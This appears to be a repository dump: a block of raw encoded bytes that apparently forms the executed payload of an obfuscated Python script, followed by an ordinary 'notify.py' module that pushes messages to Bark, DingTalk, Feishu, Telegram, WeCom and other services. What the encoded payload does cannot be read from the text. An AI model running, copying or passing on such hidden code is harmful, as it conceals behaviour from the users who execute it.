N^\x0f7g\x9ad\xdd\xf9\xfe\xf7\x8a<;\xe3X\xbb)x)\x1am\xd1r\xae\xfd\x8e\x9f\xd4\xd9}\xd4\xef\xa8\xb4\'\x18\xb2\x00R\xc3\x17\xc6\x85S1\x0eEw@\x01\x15G\xe2\xdfZ\xad\xc8\xf0\x82P\x0f8\x07\x92\xca\xd8\x87r\xfby GI \x01O\xa6:A[Ck?\x14\x1c(0\x96\xd5Q5[\xe8\xaaG)\x89C\xcbX\xd81\x06\xf5\xb6*$`\xc8/ix\xa4k\xc2\xbd\x9f\xfc\x05U\x90\xabN\x87;i\xc0\xa6\x80\x19\xf7\x06KcK\x9c\x07\xf4\xbb\xfc\x9e\x84\xcdO\xa2C\xedZd\xd5\xc8\x9f\x1d\xb9\xef\x97Z\x16\x15\x1bs\x16\xad\xf9/\xc2p\xa6%a\xed\xc4a3b\x85N0\xe8\x8b\xc5\x82\xf524H\x0f\xe7\xe1\x14\x90\xc4\xa8}\xac &k\xee\x19\xac]\xfd\x8c\x08\x12:\xf8K2Q\xa4\xae\x7f\xd7\xecJ\xc4\xa5z\xf4#\xab\xe0\x8ew.\x0b\xf1ipm\x13(\xa7\xc7\xb7\xb4Y\xce\xf0\x8f\xad\x1f\x83jr,pf\xd4?\x82=?\x8b\xd7V\xf9\xb7qMI\xcfc\xc7\xcc\x82\xa7\x90Z\xa0\xd3]\x90\xb8\xcdRa\x01,\xaelx\x0ez\xa7#/\x19\x94\rQ\x12\xb4\xb0A\xc0\xf7\x99\xabD\x1c\xa2\x0e\xea\x92sD\x9a\x1ck!\x19\x1fl\x96g\xbb\xd8t\x158\x08m\x99\xf5V\xf1A*2 \x8e\x8f\xd6IS\xa1\x0f\x96\xca\xe6\xbb\xa3\xb2\xd9\xdaY;\xd8\xefP\xe2tkM\xbeO\xa4\xa5Is\x94\xee\xde\xf6\xf6T\x15\'\x02_\xf6\xf7\xba\xcc\x19\x01\x82\xa5\xab\r\xc3J\xdb\xfd\xbf<(:\xc9q\xe3UPAH.5\xed\x7fH++6\xa3\xa0\x04T\x06\xda\xbb\xc6\xcf\xcc\xd9K\x8a\xd7\x9a\x9e\xed\x95\xe8\xda\xde\x07*\xbc\x8d\'\xb8~\x8a%\xa0m\x86\xf7\x18\xf4\x1fh\xa5J\x1fXJ\x9e?\xaf\xea*|\xe1|\xf4\xfbz\xba\x97\xd4\xe9\x05n3{\x0bsk(Z\xce\xc0\x01\xb6\xce\xf7\tvta\xb9\x1ft\x16X\xdeh%\xf7Q\xf8\x1a\x02\xdc%B\x92\xfc\x1eV\xbb\xbd\xc11\xb6\xbae0\xb9\xb66\xe7\xc18\xa4\xfa\x97k\xc5v\x14]\'F\x11\xb1\x83|X\xd9\xfa\x81\x1b!\xd0\xdd\xdd\'\xa6\xd9\x8bE\xf0\xe6\x9e\xa0\x06\x06\x03\r\x15\xfdW\x08\xf0\xd7\nb\x1c\x8e\xb6:P\xd7\r2}ss\xea[)\xec\xd6\xbb\xa9cd-\x1c\xc32\xab\x98\\\xbf\xd6\x90\xd1{\x11\xbc\xa4\x82\xa2)\x98\xb9p.\x9b\x07\x91G`\xa0\x85>\x83\xcc\xaczr\x0f\xcb\x8c\xa7\xc7\xa5z)\xb1\xb0\x82\x16\x96\x88x\x8d_\xf6*\xb7"_\xd6\xc7\xdb.F0-p\x04\xa1D7\xd4\x1a\x1a!)\xe4\x1c%;\x19\x10\xe7!\xc1"\x12)v\xc7\xef\x92\xf5\x17\xf4\x9b\xca\xe7\x98a\xe1\xd3\xae\x8a_E\\ o}\xc0C\xcfs\x0c[)\x85\xdd>\x9dw\x931\xf6\xb0\x02\x0b\xb6\xe1\x1a=\xc9\xacN\xce\xd8d\xb0.\xae\x90\xa8\x9a\xe9\x10\xf9\xff\x85\xd0\xa9Dq\xec\xe9\x8a\xf6\x17\x93\xfdl\xb9\x0c\xa6\xe7\xa7\xaf\xf1@\xa6\xd8\xa8\x87%\x1a\xaa\xff\x18l\x1f\xce\x1d\xd8<\xe5:\xfe\x08\'\xcb\xc5\x02\xbd\xbe\x92\xcc{7\x8c\xfd\xc0`\xfcL\xee\xfb04\xa3\xd1\xf8=\x10<\x18\x9cg\x0f\x89i\x83x\xa7?;\x1e:&\xa1\xc3\xe2\xd8\xef\x13\x1d\x10\xab\x15\x16\x16/K\x94\x8c\xd3\xb0%\x16>\xcac\xea;\x04\xe2\xc9\xf4\xe5\xe7\xa7\x99\xeeW\x10\xa8u\xed[zS8\x0e\x9f\xb3f.\xe5@\xe3\x8d]I\xc1\xac\x8c\x92\x12\x05!\x8c\xc2f\xc5\xb0M=T\xd4\x810\xfbWF5\x1c\\\x06\x1e\xe2\xce#B\xd8\xbcI\xde\xa6\x01\xcbeZ\xbd\x8c\x92\x0c\x8ej\xd0A\x00T\x9c\x8d\x1a\x0b\xc5\xf8,\x06\xd9\xeb\xb7\x1e\xda$\x17\xa5\x1c\xbe\xf7sS-\x10\xadGpq\xf7N\xa4@]\xde\xbc\xbd\x93qn\xe0\xa3"\x0f(c\xe7+\xb4\n\xdb\xf6\xfe\xe4\x8dQ\x87\xdd\x08a\xde\xed\xb3^\x95\xf5\xf7k\xbb\xfb\x9d\xa09\x8e\xbe\xff\x95yX)\x1e=)\xe5\x8d\xd6\xea\x15\x0c\xbf\xa5$\xce~\xba3\t\xae!\xe6\xf4"\x99\xe4\xdd\xf62\xb6><\xcd\xca\n\xb89\xab\xeb\xcf\r\xb9"]\xe9\xf4\xe0\x10?Gu\xcf\x03\xfc\x8fF\xea\x13g\xf3K\x94\xdd\xafb\xe6\xf02\xbf\xb7\xf3\x06\x17\xb1FW\x13\xec\x98\xb8\xb0\xa4\xe4\xd3\x07\xbb\xe7\x10\x858\xa4\x18\xbb\xf0@\xb8\\\xc4\xed\xd5N\xa1\xf7\xfe\x17h\xd6\xc8\xae\xf3\x8b\x82<\xd2\xfc\x9c\x0cP\xbc\x14\x0f\x90u\xec\x9bbv\xab\xde\xa2\xd8<\xde\x04\xf0Z\x9ddp\xd5\xa2o\xba\x03-SI\x90\x0f\xcb\xe4\x19M\x00\x1c\xc0\x03\xc7\xb3\xca\xf5\xb5 \x06,\x9a\xb1x\xec\xc4\xfc\xb4\xcf\xce&6`\x01\x87e\x10\x0cE:4c\x0b\xac\xf3\xfc+\xc2\xdf\xa2\xa3\x1cW+\xdaw\xb5\x9fq\xa7@\x15\x03\x01\xd0\x13\xafaq\x1d#\x95H\xa1\xac\xc8\x05c\xe7\xe0/|P\x0bdR\xc7\x1dx\xebF\xa1\xc6\xba\xbf\x99u7~>\x91\xbc\xb2\xe6\x9cR\x95\xd5\x05\xe3\xc7g\xff\x13\x1f\x9f\x16>\x9c\x87.Z\xee\xce\xaau.|\xe4\xfdP\xb5\xcf\xfdl\xf7\x16\xd0\x9d\xca\x03Nv\xe1SqyJ\xcd\xfb\xf9\x95]\x8e\x10{\xe6o\x8bLs\x99\xc9[\x90\x10V\xda\xe7\x8e2\x1e|\xf5hT\x069\x99\xd8Ri#3\x0f\x8b\xc3d\xc8\x9eX\xb9\x0c\x0cp\xc0\x06?Or\xc6\xcc\x81\x08\x1b\xad\xd8\x04\xdc\xd7\x17\xecy\x86\xf5sjG\xab\xb7\xa9W\x96a\xb6{\xb8\xfa)_\xae.y\xae"\xb3u\x85\xa3\x97\x10\xbf6\xd5Gv\xf7;&H\xdb\x93\x83q\xf2\x19\xc4\x96\xcc\x9c\x04Jdw\xeah\xed|\xc3\xa6\x8d4O\x9b\xda]\x89\xf3\x03\xbb\xc6\xa4\xd1&9L\x11tQ\x83\x82\xd5\xc4\xba\xdc$\xf6^\x80\xc3\xb7\x89y\xbe\x9e\x91\x13B\xe4\xa2\x17\x96\xe1\xad\xf6,0\xe3e\x1c\x0f~!\xe9Dw\xfc\xc0M\x9e\xfas\x81\xc3\xdf\xec\x08\xc1\x8d\xb6^&P\xc4Z^\x86\xca\x8a\xf4\xd2H7\xba`OPa}A=\xba\xda\xa1\xfe\x1f\xf7S\x1f\x01\xa8\x03\x85{\x99\x95\x9f\x98\xbbv\xb4\xb4\xd8NR3\x11\xbcc\x92\x1f\xa4\xba\xf8\xf9\xcdQ\xac\x9c\x8f`Y\xa4\x82Jd\xc2\x99DE\x83\xef+\xe7\xc4\x92\xb98Z\xdb\xb8\x80V\x08\x14\xa7\xce\x190\xca\xedO\xef\xbb\xea\x9c\x19\x8d\xf6\xdd\x00\xb6o\x95\x98+\xe8\xfb\xce.Aq(\xc1r\x86\xf3q\xad\x94Iy\x9f\xfa(#\xe7\x97-\x1f\x92\x10p1N\xa9\xd3CJF\xff-\xfe\xd4M\x82\x88\x05\t\x82\xec\xf6A\x05v\xfc\xf1\xc3\xe8\xb5\x13I\xb9\xb2e\x03\xda\xfd\xc7\x8c\x99J\xcb\x92Z:\x13\x9d\xf7\x8c\x99\xae9 \xfd5\x80\xc7Cv\xf5XG\xea\x93*\xbb\xbbtg\xe7;Y\xb1\x89\x82\xc5&\xff\xd9\xbdC\xd6\xc4\xf6`\xc7\xa9\xdfLi+\x89)\x98\xe8\'\x16\xf6\x94\x1c\x06\n\xfcF\xa6\xf3vwX\xf3\xb1}\x9d\x97\x0c\x02\xdeo_O~\xb7\xc3X\xe1`^$\x8d\x910L\xb5T|\x80\x08u\x9a\xc8v\x07\xcc\xef\xb2\xaa\x97N\xed\xc06b\xc3\x92\xbb\xc9\xe9\xb54\xfb\xd9-\xd1&\x03\x01U\xef\xa46\x7f\xfe\xe7b&<\xa1]\xebN\xec\xaa\x19\r\xaf\xe9\x12\xcf%c\xd8oE\xee*\x03bi?\xec\xd7\x1al\x90%\xfc\xef\x1c\x87L\xbc?\xd4M\x83\x8a\x0e\x8d\xaem\x1b\x08\x0f\xc6\xc3\x03w\x14\xabn\xab\x80x\xc3\t\r\xd1U\xacq\xbd\xef-}\xbd\x9a\xd2\x9aI\xf3\x00\x80\x98\x7f^\xa1f`\xde\rO\xcd\x86o\xe4Hmo-\xc4\x12\xfe\xc2@\xe6\xaa\x0c\x03j\x93\x05\\\xd2\xe5\xdc\x9c\xa0t\x8b\xda\x00\xa1b\xc6o\xb6\xec\xaf\x1d\x04h{"\xda"=\xfe^.G\xba]\xfb\xd9\xd8\xe0\xb9\xa84z\xc8`\xfe\x8f\xb6\x9d\xfci\xb2\x82\x13\xc3\xc0\xe8\x15(\x0b\x15\xb6\x04K\na\x9d\xd3\xdcz\x0eaw0\x8c\xa3D\x82A\xb7\x1c\xec\x14\xbf\xd1\x0c2\xe50\xcc\xf7\x12.\xa1\x8c\xeb\xe2Y\xc9\xa7\x03\xb0\xbcv/\xcb\xeeu\x03Qr\x9b\xd0\x89\xd2\xe7\xf0\x15o"6m\x9c\xb6\xd0\xb1Y@\xd8\xda\xdb\x10\n\x07&\x19\x03Y\xb9Z\xed\xc4P\x12\xc0\xe9vY\xd5\x80\x1b\xf7\x12H\xe3\xc5\xfc\xb3F\x19\x93\x15\xc5\xb6\x89\xb5V\xfcM\x84\x07\xb1\xe0\xb1S\xb8\'\x17+\x16\xcfW\x11\xf1\xa2\xa89\xfcc\x80\x03\x8aM\xdfG\xddOS\xf2\x91\xb9\x19\xb2\xc9\x01\x19\xf2\x93\xf0\xde\xa1B\x85^\xad_\xc2\xea\x02\x9a\x01\xbfNw\x19P\x9eD\xed\x9b\xf2i\x14\xdc\x1c\x06\xd9\xd7v\'\x19osN=\xb7s/5a\x04%\xdf\x9c\x17m\xb68!S\xed\xb6\xd5o\xfcM\xffD\xf9\xdf\x8f*\xff\x18\xe7\n\xb1L\xca\x08\x00\xc8\x98\xcc\xa0\x11\x00\x90\xa2i%\xdd8l\xf9\x01\xfa_\x11\\[\x87\x06f\x03\xca\xde\xd8\xc5\xd5\xca\xd8n\x03\xdc\xce\xc7\xdex\x03\xdc\xd2\xc7\xdai\x03\xcc\xc4\x87u\x03\xda\xc4\xda\xc1\xd8\xd5\xd4\xdaz\x03\xdc\xc7\xce\xdad\x03\xdc\xdc\xcb\xdct\x03\xc2\xce\xd1\xd8\xccu\x03\xd6\xcc\xdc\xd4\xd1\xde\xc9\xc5\xdc\xd5\xb5\x12\xe0\x02\xfb\x9fv\xff+\xef\xb0J\xde\x0c\x92\xee\xae\xa6\xc6n\xe6\x1b\xd0\xfc\xf6\x8ef\xeev\xe6\x82 \xff}\x18\xfb\xefL)\x80\xd2\xfb>\xaf\xf2\x7f\xbc\xfd\xdf\x9f\xfc\xff\x00\xed\x19\x1bL'))) 22 | except KeyboardInterrupt: 23 | exit() 24 | -------------------------------------------------------------------------------- /notify.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # _*_ coding:utf-8 _*_ 3 | import base64 4 | import hashlib 5 | import hmac 6 | import json 7 | import os 8 | import re 9 | import threading 10 | import time 11 | import urllib.parse 12 | 13 | import requests 14 | 15 | # 原先的 print 函数和主线程的锁 16 | _print = print 17 | mutex = threading.Lock() 18 | 19 | 20 | # 定义新的 print 函数 21 | def print(text, *args, **kw): 22 | """ 23 | 使输出有序进行,不出现多线程同一时间输出导致错乱的问题。 24 | """ 25 | with mutex: 26 | _print(text, *args, **kw) 27 | 28 | 29 | # 通知服务 30 | # fmt: off 31 | push_config = { 32 | 'HITOKOTO': False, # 启用一言(随机句子) 33 | 34 | 'BARK_PUSH': '', # bark IP 或设备码,例:https://api.day.app/DxHcxxxxxRxxxxxxcm/ 35 | 'BARK_ARCHIVE': '', # bark 推送是否存档 36 | 'BARK_GROUP': '', # bark 推送分组 37 | 'BARK_SOUND': '', # bark 推送声音 38 | 39 | 'CONSOLE': True, # 控制台输出 40 | 41 | 'DD_BOT_SECRET': '', # 钉钉机器人的 DD_BOT_SECRET 42 | 'DD_BOT_TOKEN': '', # 钉钉机器人的 DD_BOT_TOKEN 43 | 44 | 'FSKEY': '', # 飞书机器人的 FSKEY 45 | 46 | 'GOBOT_URL': '', # go-cqhttp 47 | # 推送到个人QQ:http://127.0.0.1/send_private_msg 48 | # 群:http://127.0.0.1/send_group_msg 49 | 'GOBOT_QQ': '', # go-cqhttp 的推送群或用户 50 | # GOBOT_URL 设置 /send_private_msg 时填入 user_id=个人QQ 51 | # /send_group_msg 时填入 group_id=QQ群 52 | 'GOBOT_TOKEN': '', # go-cqhttp 的 access_token 53 | 54 | 'GOTIFY_URL': '', # gotify地址,如https://push.example.de:8080 55 | 'GOTIFY_TOKEN': '', # gotify的消息应用token 56 | 'GOTIFY_PRIORITY': 0, # 推送消息优先级,默认为0 57 | 58 | 'IGOT_PUSH_KEY': '', # iGot 聚合推送的 IGOT_PUSH_KEY 59 | 60 | 'PUSH_KEY': '', # server 酱的 PUSH_KEY,兼容旧版与 Turbo 版 61 | 62 | 'PUSH_PLUS_TOKEN': '', # push+ 微信推送的用户令牌 63 | 'PUSH_PLUS_USER': '', # push+ 微信推送的群组编码 64 | 65 | 'QMSG_KEY': '', # qmsg 酱的 QMSG_KEY 66 | 'QMSG_TYPE': '', # qmsg 酱的 QMSG_TYPE 67 | 68 | 'QYWX_AM': '', # 企业微信应用 69 | 70 | 'QYWX_KEY': '', # 企业微信机器人 71 | 72 | 'TG_BOT_TOKEN': '', # tg 机器人的 TG_BOT_TOKEN,例:1407203283:AAG9rt-6RDaaX0HBLZQq0laNOh898iFYaRQ 73 | 'TG_USER_ID': '', # tg 机器人的 TG_USER_ID,例:1434078534 74 | 'TG_API_HOST': '', # tg 代理 api 75 | 'TG_PROXY_AUTH': '', # tg 代理认证参数 76 | 'TG_PROXY_HOST': '', # tg 机器人的 TG_PROXY_HOST 77 | 'TG_PROXY_PORT': '', # tg 机器人的 TG_PROXY_PORT 78 | } 79 | notify_function = [] 80 | # fmt: on 81 | 82 | # 首先读取 面板变量 或者 github action 运行变量 83 | for k in push_config: 84 | if os.getenv(k): 85 | v = os.getenv(k) 86 | push_config[k] = v 87 | 88 | 89 | def bark(title: str, content: str) -> None: 90 | """ 91 | 使用 bark 推送消息。 92 | """ 93 | if not push_config.get("BARK_PUSH"): 94 | print("bark 服务的 BARK_PUSH 未设置!!\n取消推送") 95 | return 96 | print("bark 服务启动") 97 | 98 | if push_config.get("BARK_PUSH").startswith("http"): 99 | url = f'{push_config.get("BARK_PUSH")}/{urllib.parse.quote_plus(title)}/{urllib.parse.quote_plus(content)}' 100 | else: 101 | url = f'https://api.day.app/{push_config.get("BARK_PUSH")}/{urllib.parse.quote_plus(title)}/{urllib.parse.quote_plus(content)}' 102 | 103 | bark_params = { 104 | "BARK_ARCHIVE": "isArchive", 105 | "BARK_GROUP": "group", 106 | "BARK_SOUND": "sound", 107 | } 108 | params = "" 109 | for pair in filter( 110 | lambda pairs: pairs[0].startswith("BARK_") 111 | and pairs[0] != "BARK_PUSH" 112 | and pairs[1] 113 | and bark_params.get(pairs[0]), 114 | push_config.items(), 115 | ): 116 | params += f"{bark_params.get(pair[0])}={pair[1]}&" 117 | if params: 118 | url = url + "?" + params.rstrip("&") 119 | response = requests.get(url).json() 120 | 121 | if response["code"] == 200: 122 | print("bark 推送成功!") 123 | else: 124 | print("bark 推送失败!") 125 | 126 | 127 | def console(title: str, content: str) -> None: 128 | """ 129 | 使用 控制台 推送消息。 130 | """ 131 | print(f"{title}\n\n{content}") 132 | 133 | 134 | def dingding_bot(title: str, content: str) -> None: 135 | """ 136 | 使用 钉钉机器人 推送消息。 137 | """ 138 | if not push_config.get("DD_BOT_SECRET") or not push_config.get("DD_BOT_TOKEN"): 139 | print("钉钉机器人 服务的 DD_BOT_SECRET 或者 DD_BOT_TOKEN 未设置!!\n取消推送") 140 | return 141 | print("钉钉机器人 服务启动") 142 | 143 | timestamp = str(round(time.time() * 1000)) 144 | secret_enc = push_config.get("DD_BOT_SECRET").encode("utf-8") 145 | string_to_sign = "{}\n{}".format(timestamp, push_config.get("DD_BOT_SECRET")) 146 | string_to_sign_enc = string_to_sign.encode("utf-8") 147 | hmac_code = hmac.new( 148 | secret_enc, string_to_sign_enc, digestmod=hashlib.sha256 149 | ).digest() 150 | sign = urllib.parse.quote_plus(base64.b64encode(hmac_code)) 151 | url = f'https://oapi.dingtalk.com/robot/send?access_token={push_config.get("DD_BOT_TOKEN")}×tamp={timestamp}&sign={sign}' 152 | headers = {"Content-Type": "application/json;charset=utf-8"} 153 | data = {"msgtype": "text", "text": {"content": f"{title}\n\n{content}"}} 154 | response = requests.post( 155 | url=url, data=json.dumps(data), headers=headers, timeout=15 156 | ).json() 157 | 158 | if not response["errcode"]: 159 | print("钉钉机器人 推送成功!") 160 | else: 161 | print("钉钉机器人 推送失败!") 162 | 163 | 164 | def feishu_bot(title: str, content: str) -> None: 165 | """ 166 | 使用 飞书机器人 推送消息。 167 | """ 168 | if not push_config.get("FSKEY"): 169 | print("飞书 服务的 FSKEY 未设置!!\n取消推送") 170 | return 171 | print("飞书 服务启动") 172 | 173 | url = f'https://open.feishu.cn/open-apis/bot/v2/hook/{push_config.get("FSKEY")}' 174 | data = {"msg_type": "text", "content": {"text": f"{title}\n\n{content}"}} 175 | response = requests.post(url, data=json.dumps(data)).json() 176 | 177 | if response.get("StatusCode") == 0: 178 | print("飞书 推送成功!") 179 | else: 180 | print("飞书 推送失败!错误信息如下:\n", response) 181 | 182 | 183 | def go_cqhttp(title: str, content: str) -> None: 184 | """ 185 | 使用 go_cqhttp 推送消息。 186 | """ 187 | if not push_config.get("GOBOT_URL") or not push_config.get("GOBOT_QQ"): 188 | print("go-cqhttp 服务的 GOBOT_URL 或 GOBOT_QQ 未设置!!\n取消推送") 189 | return 190 | print("go-cqhttp 服务启动") 191 | 192 | url = f'{push_config.get("GOBOT_URL")}?access_token={push_config.get("GOBOT_TOKEN")}&{push_config.get("GOBOT_QQ")}&message=标题:{title}\n内容:{content}' 193 | response = requests.get(url).json() 194 | 195 | if response["status"] == "ok": 196 | print("go-cqhttp 推送成功!") 197 | else: 198 | print("go-cqhttp 推送失败!") 199 | 200 | 201 | def gotify(title:str,content:str) -> None: 202 | """ 203 | 使用 gotify 推送消息。 204 | """ 205 | if not push_config.get("GOTIFY_URL") or not push_config.get("GOTIFY_TOKEN"): 206 | print("gotify 服务的 GOTIFY_URL 或 GOTIFY_TOKEN 未设置!!\n取消推送") 207 | return 208 | print("gotify 服务启动") 209 | 210 | url = f'{push_config.get("GOTIFY_URL")}/message?token={push_config.get("GOTIFY_TOKEN")}' 211 | data = {"title": title,"message": content,"priority": push_config.get("GOTIFY_PRIORITY")} 212 | response = requests.post(url,data=data).json() 213 | 214 | if response.get("id"): 215 | print("gotify 推送成功!") 216 | else: 217 | print("gotify 推送失败!") 218 | 219 | 220 | def iGot(title: str, content: str) -> None: 221 | """ 222 | 使用 iGot 推送消息。 223 | """ 224 | if not push_config.get("IGOT_PUSH_KEY"): 225 | print("iGot 服务的 IGOT_PUSH_KEY 未设置!!\n取消推送") 226 | return 227 | print("iGot 服务启动") 228 | 229 | url = f'https://push.hellyw.com/{push_config.get("IGOT_PUSH_KEY")}' 230 | data = {"title": title, "content": content} 231 | headers = {"Content-Type": "application/x-www-form-urlencoded"} 232 | response = requests.post(url, data=data, headers=headers).json() 233 | 234 | if response["ret"] == 0: 235 | print("iGot 推送成功!") 236 | else: 237 | print(f'iGot 推送失败!{response["errMsg"]}') 238 | 239 | 240 | def serverJ(title: str, content: str) -> None: 241 | """ 242 | 通过 serverJ 推送消息。 243 | """ 244 | if not push_config.get("PUSH_KEY"): 245 | print("serverJ 服务的 PUSH_KEY 未设置!!\n取消推送") 246 | return 247 | print("serverJ 服务启动") 248 | 249 | data = {"text": title, "desp": content.replace("\n", "\n\n")} 250 | if push_config.get("PUSH_KEY").index("SCT") != -1: 251 | url = f'https://sctapi.ftqq.com/{push_config.get("PUSH_KEY")}.send' 252 | else: 253 | url = f'https://sc.ftqq.com/${push_config.get("PUSH_KEY")}.send' 254 | response = requests.post(url, data=data).json() 255 | 256 | if response.get("errno") == 0 or response.get("code") == 0: 257 | print("serverJ 推送成功!") 258 | else: 259 | print(f'serverJ 推送失败!错误码:{response["message"]}') 260 | 261 | 262 | def pushplus_bot(title: str, content: str) -> None: 263 | """ 264 | 通过 push+ 推送消息。 265 | """ 266 | if not push_config.get("PUSH_PLUS_TOKEN"): 267 | print("PUSHPLUS 服务的 PUSH_PLUS_TOKEN 未设置!!\n取消推送") 268 | return 269 | print("PUSHPLUS 服务启动") 270 | 271 | url = "http://www.pushplus.plus/send" 272 | data = { 273 | "token": push_config.get("PUSH_PLUS_TOKEN"), 274 | "title": title, 275 | "content": content, 276 | "topic": push_config.get("PUSH_PLUS_USER"), 277 | } 278 | body = json.dumps(data).encode(encoding="utf-8") 279 | headers = {"Content-Type": "application/json"} 280 | response = requests.post(url=url, data=body, headers=headers).json() 281 | 282 | if response["code"] == 200: 283 | print("PUSHPLUS 推送成功!") 284 | 285 | else: 286 | 287 | url_old = "http://pushplus.hxtrip.com/send" 288 | headers["Accept"] = "application/json" 289 | response = requests.post(url=url_old, data=body, headers=headers).json() 290 | 291 | if response["code"] == 200: 292 | print("PUSHPLUS(hxtrip) 推送成功!") 293 | 294 | else: 295 | print("PUSHPLUS 推送失败!") 296 | 297 | 298 | def qmsg_bot(title: str, content: str) -> None: 299 | """ 300 | 使用 qmsg 推送消息。 301 | """ 302 | if not push_config.get("QMSG_KEY") or not push_config.get("QMSG_TYPE"): 303 | print("qmsg 的 QMSG_KEY 或者 QMSG_TYPE 未设置!!\n取消推送") 304 | return 305 | print("qmsg 服务启动") 306 | 307 | url = f'https://qmsg.zendee.cn/{push_config.get("QMSG_TYPE")}/{push_config.get("QMSG_KEY")}' 308 | payload = {"msg": f'{title}\n\n{content.replace("----", "-")}'.encode("utf-8")} 309 | response = requests.post(url=url, params=payload).json() 310 | 311 | if response["code"] == 0: 312 | print("qmsg 推送成功!") 313 | else: 314 | print(f'qmsg 推送失败!{response["reason"]}') 315 | 316 | 317 | def wecom_app(title: str, content: str) -> None: 318 | """ 319 | 通过 企业微信 APP 推送消息。 320 | """ 321 | if not push_config.get("QYWX_AM"): 322 | print("QYWX_AM 未设置!!\n取消推送") 323 | return 324 | QYWX_AM_AY = re.split(",", push_config.get("QYWX_AM")) 325 | if 4 < len(QYWX_AM_AY) > 5: 326 | print("QYWX_AM 设置错误!!\n取消推送") 327 | return 328 | print("企业微信 APP 服务启动") 329 | 330 | corpid = QYWX_AM_AY[0] 331 | corpsecret = QYWX_AM_AY[1] 332 | touser = QYWX_AM_AY[2] 333 | agentid = QYWX_AM_AY[3] 334 | try: 335 | media_id = QYWX_AM_AY[4] 336 | except IndexError: 337 | media_id = "" 338 | wx = WeCom(corpid, corpsecret, agentid) 339 | # 如果没有配置 media_id 默认就以 text 方式发送 340 | if not media_id: 341 | message = title + "\n\n" + content 342 | response = wx.send_text(message, touser) 343 | else: 344 | response = wx.send_mpnews(title, content, media_id, touser) 345 | 346 | if response == "ok": 347 | print("企业微信推送成功!") 348 | else: 349 | print("企业微信推送失败!错误信息如下:\n", response) 350 | 351 | 352 | class WeCom: 353 | def __init__(self, corpid, corpsecret, agentid): 354 | self.CORPID = corpid 355 | self.CORPSECRET = corpsecret 356 | self.AGENTID = agentid 357 | 358 | def get_access_token(self): 359 | url = "https://qyapi.weixin.qq.com/cgi-bin/gettoken" 360 | values = { 361 | "corpid": self.CORPID, 362 | "corpsecret": self.CORPSECRET, 363 | } 364 | req = requests.post(url, params=values) 365 | data = json.loads(req.text) 366 | return data["access_token"] 367 | 368 | def send_text(self, message, touser="@all"): 369 | send_url = ( 370 | "https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=" 371 | + self.get_access_token() 372 | ) 373 | send_values = { 374 | "touser": touser, 375 | "msgtype": "text", 376 | "agentid": self.AGENTID, 377 | "text": {"content": message}, 378 | "safe": "0", 379 | } 380 | send_msges = bytes(json.dumps(send_values), "utf-8") 381 | respone = requests.post(send_url, send_msges) 382 | respone = respone.json() 383 | return respone["errmsg"] 384 | 385 | def send_mpnews(self, title, message, media_id, touser="@all"): 386 | send_url = ( 387 | "https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=" 388 | + self.get_access_token() 389 | ) 390 | send_values = { 391 | "touser": touser, 392 | "msgtype": "mpnews", 393 | "agentid": self.AGENTID, 394 | "mpnews": { 395 | "articles": [ 396 | { 397 | "title": title, 398 | "thumb_media_id": media_id, 399 | "author": "Author", 400 | "content_source_url": "", 401 | "content": message.replace("\n", "
"), 402 | "digest": message, 403 | } 404 | ] 405 | }, 406 | } 407 | send_msges = bytes(json.dumps(send_values), "utf-8") 408 | respone = requests.post(send_url, send_msges) 409 | respone = respone.json() 410 | return respone["errmsg"] 411 | 412 | 413 | def wecom_bot(title: str, content: str) -> None: 414 | """ 415 | 通过 企业微信机器人 推送消息。 416 | """ 417 | if not push_config.get("QYWX_KEY"): 418 | print("企业微信机器人 服务的 QYWX_KEY 未设置!!\n取消推送") 419 | return 420 | print("企业微信机器人服务启动") 421 | 422 | url = f"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={push_config.get('QYWX_KEY')}" 423 | headers = {"Content-Type": "application/json;charset=utf-8"} 424 | data = {"msgtype": "text", "text": {"content": f"{title}\n\n{content}"}} 425 | response = requests.post( 426 | url=url, data=json.dumps(data), headers=headers, timeout=15 427 | ).json() 428 | 429 | if response["errcode"] == 0: 430 | print("企业微信机器人推送成功!") 431 | else: 432 | print("企业微信机器人推送失败!") 433 | 434 | 435 | def telegram_bot(title: str, content: str) -> None: 436 | """ 437 | 使用 telegram 机器人 推送消息。 438 | """ 439 | if not push_config.get("TG_BOT_TOKEN") or not push_config.get("TG_USER_ID"): 440 | print("tg 服务的 bot_token 或者 user_id 未设置!!\n取消推送") 441 | return 442 | print("tg 服务启动") 443 | 444 | if push_config.get("TG_API_HOST"): 445 | url = f"https://{push_config.get('TG_API_HOST')}/bot{push_config.get('TG_BOT_TOKEN')}/sendMessage" 446 | else: 447 | url = ( 448 | f"https://api.telegram.org/bot{push_config.get('TG_BOT_TOKEN')}/sendMessage" 449 | ) 450 | headers = {"Content-Type": "application/x-www-form-urlencoded"} 451 | payload = { 452 | "chat_id": str(push_config.get("TG_USER_ID")), 453 | "text": f"{title}\n\n{content}", 454 | "disable_web_page_preview": "true", 455 | } 456 | proxies = None 457 | if push_config.get("TG_PROXY_HOST") and push_config.get("TG_PROXY_PORT"): 458 | if push_config.get("TG_PROXY_AUTH") is not None and "@" not in push_config.get( 459 | "TG_PROXY_HOST" 460 | ): 461 | push_config["TG_PROXY_HOST"] = ( 462 | push_config.get("TG_PROXY_AUTH") 463 | + "@" 464 | + push_config.get("TG_PROXY_HOST") 465 | ) 466 | proxyStr = "http://{}:{}".format( 467 | push_config.get("TG_PROXY_HOST"), push_config.get("TG_PROXY_PORT") 468 | ) 469 | proxies = {"http": proxyStr, "https": proxyStr} 470 | response = requests.post( 471 | url=url, headers=headers, params=payload, proxies=proxies 472 | ).json() 473 | 474 | if response["ok"]: 475 | print("tg 推送成功!") 476 | else: 477 | print("tg 推送失败!") 478 | 479 | 480 | def one() -> str: 481 | """ 482 | 获取一条一言。 483 | :return: 484 | """ 485 | url = "https://v1.hitokoto.cn/" 486 | res = requests.get(url).json() 487 | return res["hitokoto"] + " ----" + res["from"] 488 | 489 | 490 | if push_config.get("BARK_PUSH"): 491 | notify_function.append(bark) 492 | if push_config.get("CONSOLE"): 493 | notify_function.append(console) 494 | if push_config.get("DD_BOT_TOKEN") and push_config.get("DD_BOT_SECRET"): 495 | notify_function.append(dingding_bot) 496 | if push_config.get("FSKEY"): 497 | notify_function.append(feishu_bot) 498 | if push_config.get("GOBOT_URL") and push_config.get("GOBOT_QQ"): 499 | notify_function.append(go_cqhttp) 500 | if push_config.get("GOTIFY_URL") and 